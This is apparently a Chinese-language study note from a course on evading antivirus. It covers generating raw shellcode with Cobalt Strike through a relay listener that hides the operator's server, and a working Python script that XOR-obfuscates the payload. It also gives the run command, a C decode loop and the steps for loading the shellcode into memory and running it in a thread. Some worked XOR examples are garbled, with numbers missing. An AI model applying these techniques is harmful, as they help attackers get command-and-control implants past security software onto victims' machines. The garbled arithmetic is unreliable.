生成payload
深造的播放器无法截屏做笔记,所以只能手机拍摄。见谅!
打开cs,在Attacks-PACKages-payload Generator
监听器的话选择这个yunTEN-点击Choose
用这个可以隐藏自己本身的服务器,丢给沙箱,沙箱没发直接定位到你个人这台服务器的。她没办法拿到,她拿到的是类似于cdn一样的节点
类似于CDN的节点,在网络中通常是指内容分发网络(CDN)中的缓存服务器或边缘节点。这些节点是分布在不同地理位置上的服务器,用于缓存和加速用户对网站内容的访问。
下拉框选择Raw
然后把64这个payload点上√
RAW格式是一种未经处理、非破坏性的图像文件存储格式。是一个原生代码格式,他是一个二进制文件。
点击Generate-生成一下
选择保存位置(我这里是保存到桌面)-可以看到生成后是.bin文件名后缀
然后回返回这个弹窗
保存出来之后呢,这边需要用payload去做一个混淆,因为正常情况下你拿到shellcode她本身就是带有一定特征的。
那对shellcode这一部分做混淆也是很简单,去做一个异或就够了。
因为杀软他一部分是查杀你这个payload,还有一部分它查杀的是你的程序她调用的一个函数,类似于一些敏感的函数
比如说这个函数,这个函数其实也是挺敏感的。只要你这边有shellcode的话,只要有这个函数基本上都会给杀掉。就是类似于这么一个意思,就是要对这些东西做一个混淆。
拿到这个之后的话呢,之前已经写好脚本了。直接就可以去用了。
代码段就是这个样子
杀软监测规则
利用:
- 即利用对高信誉签名的信任,可以完成任意启动项的添加。
> 优点:灵活,可以直接完成绝大部分行为的bypass
>
> 缺点:难找,难利用。
异或
异或规则是二进制运算中的一种,其规则为:两个比较的位相同,则结果为0;不同,则结果为1。
对于给定的问题,我们需要将每个数转换为二进制形式,然后进行异或操作。
- 当
时,
(十进制),转换为二进制是
。所以,
,转换回十进制是
。
- 当
时,
(十进制),转换为二进制是
。所以,
,转换回十进制是
。
- 当
时,
(十进制),转换为二进制是
。所以,
,转换回十进制是
。
因此,最终答案是:
时,结果是
时,结果是
时,结果是
把异或后的值还原
for i in t:
s = xor_key^i
print(s)
要还原异或后的值,我们需要再次对结果进行异或操作,使用相同的密钥。这是因为异或运算具有可逆性,即两次异或同一个值会返回原始值。
假设我们有一个密钥 xor_key
和一个列表 t
,其中包含被加密的数值。我们可以使用以下代码来还原这些值:
xor_key = 10 # 示例密钥
t = [10, 97, 8] # 示例加密后的列表
for i in t:
s = xor_key ^ i # 使用相同的密钥进行异或操作以还原原始值
print(s)
这段代码将输出原始的未加密值。在这个例子中,输出将是:
0
1
2
这表示原始列表中的值分别是0、1和2。
主要看一下代码,看一下怎么去吧一个二进制文件去做一个异或。
这里是用脚本的方式读取的,这边有四个参数,第一个是你要异或的值,
这段代码实现了一个使用XOR运算进行简单加密和解密的Python脚本。它使用了argparse
库来处理命令行参数,允许用户指定XOR密钥、源文件、目标文件以及是否输出原始数据文件。下面是对代码各部分的详细解释:
- 引入库:
import argparse
这行代码导入了Python的argparse
模块,该模块用于解析命令行参数。
- 定义主函数:
def xor_encode(key, src, dst, raw):
while True:
data = src.read(1)
if not data:
break
encrypted_char = chr(ord(data) ^ key)
dst.write(encrypted_char.encode())
raw.write(encrypted_char.encode())
这个函数xor_encode
接收四个参数:key
(XOR密钥),src
(源文件对象),dst
(目标文件对象),以及raw
(用于存储加密数据的原始文件对象)。函数读取源文件中的每一个字节,将其与密钥进行XOR运算,然后将结果写入目标文件和原始文件。这个过程会持续到源文件的所有数据都被读取和处理完毕。
- 设置命令行参数解析器:
parser = argparse.ArgumentParser(description="Python XOR encoder")
parser.add_argument('-n', '--num', help='xor key', type=int, default=10)
parser.add_argument('-s', '--src', help='source file', type=argparse.FileType('rb'))
parser.add_argument('-d', '--dst', help='destination file', type=argparse.FileType('w+'))
parser.add_argument('-r', '--raw', help='output raw file', type=argparse.FileType('wb+'))
args = parser.parse_args()
这部分代码创建了一个命令行参数解析器,并定义了四个参数:
-n
或--num
:XOR密钥,类型为整数,默认值为10。-s
或--src
:源文件,以二进制读模式打开。-d
或--dst
:目标文件,以读写模式打开。-r
或--raw
:输出原始数据文件,以二进制写模式打开。
- 调用主函数:
if __name__ == '__main__':
print("".center(100, '='))
print("AUTHOR: ILU".center(100, '='))
print("".center(100, '='))
xor_encode(args.num, args.src, args.dst, args.raw)
这部分代码首先打印一些格式化的文本,然后调用xor_encode
函数,传入从命令行解析得到的参数。这是程序的入口点,当脚本被直接运行时会执行这部分代码。
总结来说,这段代码提供了一个命令行工具,用于使用指定的XOR密钥对文件进行加密,并将加密后的数据保存到另一个文件中。同时,它还可以选择将加密数据输出到一个原始数据文件中。
这段代码实现了一个使用XOR运算进行加密的Python脚本,并且生成了用于Linux系统的shellcode。它使用了argparse
库来处理命令行参数,允许用户指定XOR密钥、源文件、目标文件以及是否输出原始数据文件。下面是对代码各部分的详细解释:
- 引入库:
import argparse
这行代码导入了Python的argparse
模块,该模块用于解析命令行参数。
- 定义主函数:
def xor_encode(key, src, dst, raw):
shellcode = ''
shellcode_raw = b''
shellcode_size = 0
try:
while True:
code = src.read(1)
if not code:
break
# 异或
xor = ord(code) ^ key
xor_str = chr(xor)
shellcode_raw += xor_str.encode()
code_hex = hex(xor)
# print(code_hex)
code_hex = code_hex.replace('0x', '')
# print(code_hex)
if len(code_hex) == 1:
code_hex = '0' + code_hex
shellcode += r'\x{' + code_hex + '}'
print(shellcode)
shellcode_size += 1
src.close()
dst.write(shellcode)
dst.close()
raw.write(shellcode_raw)
except Exception as e:
print(e)
这个函数xor_encode
接收四个参数:key
(XOR密钥),src
(源文件对象),dst
(目标文件对象),以及raw
(用于存储加密数据的原始文件对象)。函数读取源文件中的每一个字节,将其与密钥进行XOR运算,然后将结果写入目标文件和原始文件。同时,它还生成相应的shellcode并打印出来。这个过程会持续到源文件的所有数据都被读取和处理完毕。如果在过程中发生任何异常,它会捕获并打印异常信息。
- 设置命令行参数解析器:
parser = argparse.ArgumentParser(description="Python XOR encoder")
parser.add_argument('-n', '--num', help='xor key', type=int, default=10)
parser.add_argument('-s', '--src', help='source file', type=argparse.FileType('rb'))
parser.add_argument('-d', '--dst', help='destination file', type=argparse.FileType('w+'))
parser.add_argument('-r', '--raw', help='output raw file', type=argparse.FileType('wb+'))
args = parser.parse_args()
这部分代码创建了一个命令行参数解析器,并定义了四个参数:
-n
或--num
:XOR密钥,类型为整数,默认值为10。-s
或--src
:源文件,以二进制读模式打开。-d
或--dst
:目标文件,以读写模式打开。-r
或--raw
:输出原始数据文件,以二进制写模式打开。
- 调用主函数:
if __name__ == '__main__':
xor_encode(args.num, args.src, args.dst, args.raw)
这部分代码是程序的入口点,当脚本被直接运行时会执行这部分代码。它调用xor_encode
函数,传入从命令行解析得到的参数。
总结来说,这段代码提供了一个命令行工具,用于使用指定的XOR密钥对文件进行加密,并将加密后的数据保存到另一个文件中。同时,它还可以选择将加密数据输出到一个原始数据文件中,并生成相应的shellcode。
ord()把字符转成ascii码
chr()ASCII码转字符
这两个是相对应的函数
^就是异或符
xor = ord(code)^key
xor_str = chr(xor)
这样就异或完了
shellcode_raw += xor_str.encode()
这个是存储它的一个二进制的数字,后面encode呢是做了一个编码
code_hex = hex(xor)
code_hex 就是对异或后的数据转换成16进制
code_hex = code_hex.replace('0x','')
这个就是把前面的0x替换为空,不过存储为{0x7e,0x...}这种格式去存储也是可以的
现在处理成了字符串类型,"\ x7e"转成了这种方式
后面一段就不细讲了
最后保存一下
然后把刚刚生成的文件做一个异或
用python 运行.\xor_encode.py
python .\xor_encode.py -n 45 -s C:\Users\一瓢饮\Desktop\payload.bin -d C:\Users\一瓢饮\Desktop\payload.c -r p.bin
这个命令是用来运行一个名为 xor_encode.py
的 Python 脚本,并传递一些参数给它。让我们逐个解释这些参数:
python .\xor_encode.py
: 这是在命令行中调用 Python 解释器来运行当前目录下的xor_encode.py
脚本。-n 45
: 这个参数传递给脚本,表示使用数字45
作为某个选项的值。具体含义取决于xor_encode.py
脚本的实现。-s C:\Users\一瓢饮\Desktop\payload.bin
: 这个参数指定了源文件路径,即C:\Users\一瓢饮\Desktop\payload.bin
。这个文件可能是要被处理或编码的数据文件。-d C:\Users\一瓢饮\Desktop\payload.c
: 这个参数指定了目标文件路径,即C:\Users\一瓢饮\Desktop\payload.c
。这个文件可能是处理后生成的文件。-r p.bin
: 这个参数指定了一个输出文件路径,即p.bin
。这个文件可能是某种结果文件,比如编码后的二进制数据。
总结一下,这个命令的作用是运行 xor_encode.py
脚本,用指定的参数进行某种操作(可能是对 payload.bin
文件进行 XOR 编码),并将结果保存到 payload.c
和 p.bin
文件中。具体的操作细节需要查看 xor_encode.py
脚本的代码才能确定。
这样就是保存好了
这个文件就输出到了这里
异或后的代码就是这个,这个的话我们就可以来用了。
1.异或后的代码
unsigned char buf[] = ""
unsigned int key = 45;
for (int i = 0;i< sizeof(buf);i++) {
buf[i] ^=key;
}
2.申请内存
3.把shellcode写入内存
4.创建线程的方式调用shellcode